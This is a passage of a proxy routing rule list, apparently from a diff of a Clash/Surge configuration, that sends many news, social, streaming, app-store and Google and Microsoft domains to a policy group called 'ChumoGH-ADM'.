IP-CIDR,203.104.144.0/21,ChumoGH-ADM,no-resolve +# > Other +- DOMAIN-SUFFIX,4shared.com,ChumoGH-ADM +- DOMAIN-SUFFIX,520cc.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,881903.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9cache.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9gag.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abc.net.au,ChumoGH-ADM +- DOMAIN-SUFFIX,abebooks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amazon.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,apigee.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apk-dl.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkfind.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkmirror.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkmonk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkpure.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aptoide.com,ChumoGH-ADM +- DOMAIN-SUFFIX,archive.is,ChumoGH-ADM +- DOMAIN-SUFFIX,archive.org,ChumoGH-ADM +- DOMAIN-SUFFIX,arte.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,artstation.com,ChumoGH-ADM +- DOMAIN-SUFFIX,arukas.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ask.com,ChumoGH-ADM +- DOMAIN-SUFFIX,avg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,avgle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,badoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bandwagonhost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bbc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,behance.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bibox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biggo.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,binance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bitcointalk.org,ChumoGH-ADM +- DOMAIN-SUFFIX,bitfinex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bitmex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bit-z.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bloglovin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bloomberg.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,bloomberg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blubrry.com,ChumoGH-ADM +- DOMAIN-SUFFIX,book.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,booklive.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,books.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,boslife.net,ChumoGH-ADM +- DOMAIN-SUFFIX,box.com,ChumoGH-ADM +- DOMAIN-SUFFIX,businessinsider.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bwh1.net,ChumoGH-ADM +- DOMAIN-SUFFIX,castbox.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,cbc.ca,ChumoGH-ADM +- DOMAIN-SUFFIX,cdw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,change.org,ChumoGH-ADM +- DOMAIN-SUFFIX,channelnewsasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ck101.com,ChumoGH-ADM +- DOMAIN-SUFFIX,clarionproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,clyp.it,ChumoGH-ADM +- DOMAIN-SUFFIX,cna.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,comparitech.com,ChumoGH-ADM +- DOMAIN-SUFFIX,conoha.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,crucial.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cts.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cw.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cyberctm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dailymotion.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dailyview.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,daum.net,ChumoGH-ADM +- DOMAIN-SUFFIX,daumcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,dcard.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,deepdiscount.com,ChumoGH-ADM +- DOMAIN-SUFFIX,depositphotos.com,ChumoGH-ADM +- DOMAIN-SUFFIX,deviantart.com,ChumoGH-ADM +- DOMAIN-SUFFIX,disconnect.me,ChumoGH-ADM +- DOMAIN-SUFFIX,discordapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,discordapp.net,ChumoGH-ADM +- DOMAIN-SUFFIX,disqus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dlercloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dns2go.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dowjones.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dropbox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dropboxusercontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,duckduckgo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dynu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,earthcam.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ebookservice.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,economist.com,ChumoGH-ADM +- DOMAIN-SUFFIX,edgecastcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,edu,ChumoGH-ADM +- DOMAIN-SUFFIX,elpais.com,ChumoGH-ADM +- DOMAIN-SUFFIX,enanyang.my,ChumoGH-ADM +- DOMAIN-SUFFIX,encyclopedia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,esoir.be,ChumoGH-ADM +- DOMAIN-SUFFIX,etherscan.io,ChumoGH-ADM +- DOMAIN-SUFFIX,euronews.com,ChumoGH-ADM +- DOMAIN-SUFFIX,evozi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,feedly.com,ChumoGH-ADM +- DOMAIN-SUFFIX,firech.at,ChumoGH-ADM +- DOMAIN-SUFFIX,flickr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flitto.com,ChumoGH-ADM +- DOMAIN-SUFFIX,foreignpolicy.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freebrowser.org,ChumoGH-ADM +- DOMAIN-SUFFIX,freewechat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freeweibo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,friday.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,ftchinese.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ftimg.net,ChumoGH-ADM +- DOMAIN-SUFFIX,gate.io,ChumoGH-ADM +- DOMAIN-SUFFIX,getlantern.org,ChumoGH-ADM +- DOMAIN-SUFFIX,getsync.com,ChumoGH-ADM +- DOMAIN-SUFFIX,globalvoices.org,ChumoGH-ADM +- DOMAIN-SUFFIX,goo.ne.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,goodreads.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gov,ChumoGH-ADM +- DOMAIN-SUFFIX,gov.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,greatfire.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gumroad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,heroku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hightail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hk01.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkbf.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hkbookcity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkej.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hket.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkgolden.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hootsuite.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hudson.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hyread.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,ibtimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,i-cable.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icij.org,ChumoGH-ADM +- DOMAIN-SUFFIX,icoco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,imgur.com,ChumoGH-ADM +- DOMAIN-SUFFIX,initiummall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,insecam.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ipfs.io,ChumoGH-ADM +- DOMAIN-SUFFIX,issuu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,istockphoto.com,ChumoGH-ADM +- DOMAIN-SUFFIX,japantimes.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,jiji.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jinx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jkforum.net,ChumoGH-ADM +- DOMAIN-SUFFIX,joinmastodon.org,ChumoGH-ADM +- DOMAIN-SUFFIX,justmysocks.net,ChumoGH-ADM +- DOMAIN-SUFFIX,justpaste.it,ChumoGH-ADM +- DOMAIN-SUFFIX,kakao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kakaocorp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kik.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kobo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kobobooks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kodingen.com,ChumoGH-ADM +- DOMAIN-SUFFIX,lemonde.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,lepoint.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,lihkg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,listennotes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,livestream.com,ChumoGH-ADM +- DOMAIN-SUFFIX,logmein.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mail.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,mailchimp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,marc.info,ChumoGH-ADM +- DOMAIN-SUFFIX,matters.news,ChumoGH-ADM +- DOMAIN-SUFFIX,maying.co,ChumoGH-ADM +- DOMAIN-SUFFIX,medium.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mega.nz,ChumoGH-ADM +- DOMAIN-SUFFIX,mil,ChumoGH-ADM +- DOMAIN-SUFFIX,mingpao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mobile01.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myspace.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myspacecdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nanyang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,naver.com,ChumoGH-ADM +- DOMAIN-SUFFIX,neowin.net,ChumoGH-ADM +- DOMAIN-SUFFIX,newstapa.org,ChumoGH-ADM +- DOMAIN-SUFFIX,nexitally.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nhk.or.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nicovideo.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nii.ac.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nikkei.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nofile.io,ChumoGH-ADM +- DOMAIN-SUFFIX,now.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nrk.no,ChumoGH-ADM +- DOMAIN-SUFFIX,nyt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytcn.me,ChumoGH-ADM +- DOMAIN-SUFFIX,nytco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytlog.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytstyle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ok.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,okex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,on.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,orientaldaily.com.my,ChumoGH-ADM +- DOMAIN-SUFFIX,overcast.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,paltalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pao-pao.net,ChumoGH-ADM +- DOMAIN-SUFFIX,parsevideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pbxes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pcdvd.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pchome.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,picacomic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pinimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pixiv.net,ChumoGH-ADM +- DOMAIN-SUFFIX,player.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,plurk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,po18.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,potato.im,ChumoGH-ADM +- DOMAIN-SUFFIX,potatso.com,ChumoGH-ADM +- DOMAIN-SUFFIX,prism-break.org,ChumoGH-ADM +- DOMAIN-SUFFIX,proxifier.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pt.im,ChumoGH-ADM +- DOMAIN-SUFFIX,pts.org.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pubu.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pubu.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pureapk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quora.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quoracdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,rakuten.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,readingtimes.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,readmoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redbubble.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reddit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redditmedia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,resilio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reuters.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reutersmedia.net,ChumoGH-ADM +- DOMAIN-SUFFIX,rfi.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,rixcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,roadshow.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,scmp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,scribd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,seatguru.com,ChumoGH-ADM +- DOMAIN-SUFFIX,shadowsocks.org,ChumoGH-ADM +- DOMAIN-SUFFIX,shopee.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,slideshare.net,ChumoGH-ADM +- DOMAIN-SUFFIX,softfamous.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soundcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ssrcloud.org,ChumoGH-ADM +- DOMAIN-SUFFIX,startpage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcommunity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steemit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steemitwallet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,t66y.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tapatalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,teco-hk.org,ChumoGH-ADM +- DOMAIN-SUFFIX,teco-mo.org,ChumoGH-ADM +- DOMAIN-SUFFIX,teddysun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,textnow.me,ChumoGH-ADM +- DOMAIN-SUFFIX,theguardian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,theinitium.com,ChumoGH-ADM +- DOMAIN-SUFFIX,thetvdb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tineye.com,ChumoGH-ADM +- DOMAIN-SUFFIX,torproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,tumblr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,turbobit.net,ChumoGH-ADM +- DOMAIN-SUFFIX,tutanota.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tvboxnow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,unseen.is,ChumoGH-ADM +- DOMAIN-SUFFIX,upmedia.mg,ChumoGH-ADM +- DOMAIN-SUFFIX,uptodown.com,ChumoGH-ADM +- DOMAIN-SUFFIX,urbandictionary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ustream.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,uwants.com,ChumoGH-ADM +- DOMAIN-SUFFIX,v2ray.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viber.com,ChumoGH-ADM +- DOMAIN-SUFFIX,videopress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vimeo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voachinese.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voanews.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voxer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vzw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,w3schools.com,ChumoGH-ADM +- DOMAIN-SUFFIX,washingtonpost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wattpad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whoer.net,ChumoGH-ADM +- DOMAIN-SUFFIX,wikimapia.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikipedia.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikiquote.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikiwand.com,ChumoGH-ADM +- DOMAIN-SUFFIX,winudf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wire.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wordpress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,workflow.is,ChumoGH-ADM +- DOMAIN-SUFFIX,worldcat.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wsj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wsj.net,ChumoGH-ADM +- DOMAIN-SUFFIX,xhamster.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--90wwvt03e.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--i2ru8q2qg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xnxx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xvideos.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yahoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yandex.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,ycombinator.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yesasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yes-news.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yomiuri.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,you-get.org,ChumoGH-ADM +- DOMAIN-SUFFIX,zaobao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zello.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zeronet.io,ChumoGH-ADM +- DOMAIN-SUFFIX,zoom.us,ChumoGH-ADM +- DOMAIN-KEYWORD,github,ChumoGH-ADM +- DOMAIN-KEYWORD,jav,ChumoGH-ADM +- DOMAIN-KEYWORD,pinterest,ChumoGH-ADM +- DOMAIN-KEYWORD,porn,ChumoGH-ADM +- DOMAIN-KEYWORD,wikileaks,ChumoGH-ADM + +# (Region-Restricted Access Denied) +- DOMAIN-SUFFIX,apartmentratings.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apartments.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bankmobilevibe.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bing.com,ChumoGH-ADM +- DOMAIN-SUFFIX,booktopia.com.au,ChumoGH-ADM +- DOMAIN-SUFFIX,cccat.io,ChumoGH-ADM +- DOMAIN-SUFFIX,centauro.com.br,ChumoGH-ADM +- DOMAIN-SUFFIX,clearsurance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,costco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crackle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,depositphotos.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,dish.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dmm.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,dmm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dnvod.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,esurance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,extmatrix.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fastpic.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,flipboard.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fnac.be,ChumoGH-ADM +- DOMAIN-SUFFIX,fnac.com,ChumoGH-ADM +- DOMAIN-SUFFIX,funkyimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fxnetworks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gettyimages.com,ChumoGH-ADM +- DOMAIN-SUFFIX,go.com,ChumoGH-ADM +- DOMAIN-SUFFIX,here.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jcpenney.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jiehua.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,mailfence.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nationwide.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nbc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nexon.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstrom.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstromimage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstromrack.com,ChumoGH-ADM +- DOMAIN-SUFFIX,superpages.com,ChumoGH-ADM +- DOMAIN-SUFFIX,target.com,ChumoGH-ADM +- DOMAIN-SUFFIX,thinkgeek.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tracfone.com,ChumoGH-ADM +- DOMAIN-SUFFIX,unity3d.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uploader.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,vevo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,vk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vsco.co,ChumoGH-ADM +- DOMAIN-SUFFIX,xfinity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zattoo.com,ChumoGH-ADM +# USER-AGENT,Roam*,ChumoGH-ADM + +# (The Most Popular Sites) +# > ChumoGH-ADM +# >> TestFlight +- DOMAIN,testflight.apple.com,ChumoGH-ADM +# >> ChumoGH-ADM URL Shortener +- DOMAIN-SUFFIX,appsto.re,ChumoGH-ADM +# >> iBooks Store download +- DOMAIN,books.itunes.apple.com,ChumoGH-ADM +# >> iTunes Store Moveis Trailers +- DOMAIN,hls.itunes.apple.com,ChumoGH-ADM +# >> App Store Preview +- DOMAIN,apps.apple.com,ChumoGH-ADM +- DOMAIN,itunes.apple.com,ChumoGH-ADM +# >> Spotlight +- DOMAIN,api-glb-sea.smoot.apple.com,ChumoGH-ADM +# >> Dictionary +- DOMAIN,lookup-api.apple.com,ChumoGH-ADM +# > Google +- DOMAIN-SUFFIX,abc.xyz,ChumoGH-ADM +- DOMAIN-SUFFIX,android.com,ChumoGH-ADM +- DOMAIN-SUFFIX,androidify.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dialogflow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,autodraw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,capitalg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,certificate-transparency.org,ChumoGH-ADM +- DOMAIN-SUFFIX,chrome.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromeexperiments.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromestatus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromium.org,ChumoGH-ADM +- DOMAIN-SUFFIX,creativelab5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,debug.com,ChumoGH-ADM +- DOMAIN-SUFFIX,deepmind.com,ChumoGH-ADM +- DOMAIN-SUFFIX,firebaseio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getmdl.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ggpht.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gmail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gmodules.com,ChumoGH-ADM +- DOMAIN-SUFFIX,godoc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,golang.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gwtproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,itasoftware.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madewithcode.com,ChumoGH-ADM +- DOMAIN-SUFFIX,material.io,ChumoGH-ADM +- DOMAIN-SUFFIX,polymer-project.org,ChumoGH-ADM +- DOMAIN-SUFFIX,admin.recaptcha.net,ChumoGH-ADM +- DOMAIN-SUFFIX,recaptcha.net,ChumoGH-ADM +- DOMAIN-SUFFIX,shattered.io,ChumoGH-ADM +- DOMAIN-SUFFIX,synergyse.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tensorflow.org,ChumoGH-ADM +- DOMAIN-SUFFIX,tfhub.dev,ChumoGH-ADM +- DOMAIN-SUFFIX,tiltbrush.com,ChumoGH-ADM +- DOMAIN-SUFFIX,waveprotocol.org,ChumoGH-ADM +- DOMAIN-SUFFIX,waymo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,webmproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,webrtc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,whatbrowser.org,ChumoGH-ADM +- DOMAIN-SUFFIX,widevine.com,ChumoGH-ADM +- DOMAIN-SUFFIX,x.company,ChumoGH-ADM +- DOMAIN-SUFFIX,youtu.be,ChumoGH-ADM +- DOMAIN-SUFFIX,yt.be,ChumoGH-ADM +- DOMAIN-SUFFIX,ytimg.com,ChumoGH-ADM +# > Microsoft +# >> Microsoft OneDrive +- DOMAIN-SUFFIX,1drv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,1drv.ms,ChumoGH-ADM +- DOMAIN-SUFFIX,blob.core.windows.net,ChumoGH-ADM +- DOMAIN-SUFFIX,livefilestore.com,ChumoGH-ADM +- DOMAIN-SUFFIX,onedrive.com,ChumoGH-ADM +- DOMAIN-SUFFIX,storage.live.com,ChumoGH-ADM +- DOMAIN-SUFFIX,storage.msn.com,ChumoGH-ADM +- DOMAIN,oneclient.sfx.ms,ChumoGH-ADM +# > Other +- DOMAIN-SUFFIX,0rz.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,4bluestones.biz,ChumoGH-ADM +- DOMAIN-SUFFIX,9bis.net,ChumoGH-ADM +- DOMAIN-SUFFIX,allconnected.co,ChumoGH-ADM +- DOMAIN-SUFFIX,aol.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bcc.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,bit.ly,ChumoGH-ADM +- DOMAIN-SUFFIX,bitshare.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blog.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,blogimg.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,blogtd.org,ChumoGH-ADM +- DOMAIN-SUFFIX,broadcast.co.nz,ChumoGH-ADM +- DOMAIN-SUFFIX,camfrog.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cfos.de,ChumoGH-ADM +- DOMAIN-SUFFIX,citypopulation.de,ChumoGH-ADM +- DOMAIN-SUFFIX,cloudfront.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ctitv.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cuhk.edu.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,cusu.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,discord.gg,ChumoGH-ADM +- DOMAIN-SUFFIX,discuss.com.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,dropboxapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,duolingo.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,edditstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flickriver.com,ChumoGH-ADM +- DOMAIN-SUFFIX,focustaiwan.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,free.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,gigacircle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hk-pub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hosting.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,hwcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ifixit.com,ChumoGH-ADM +- 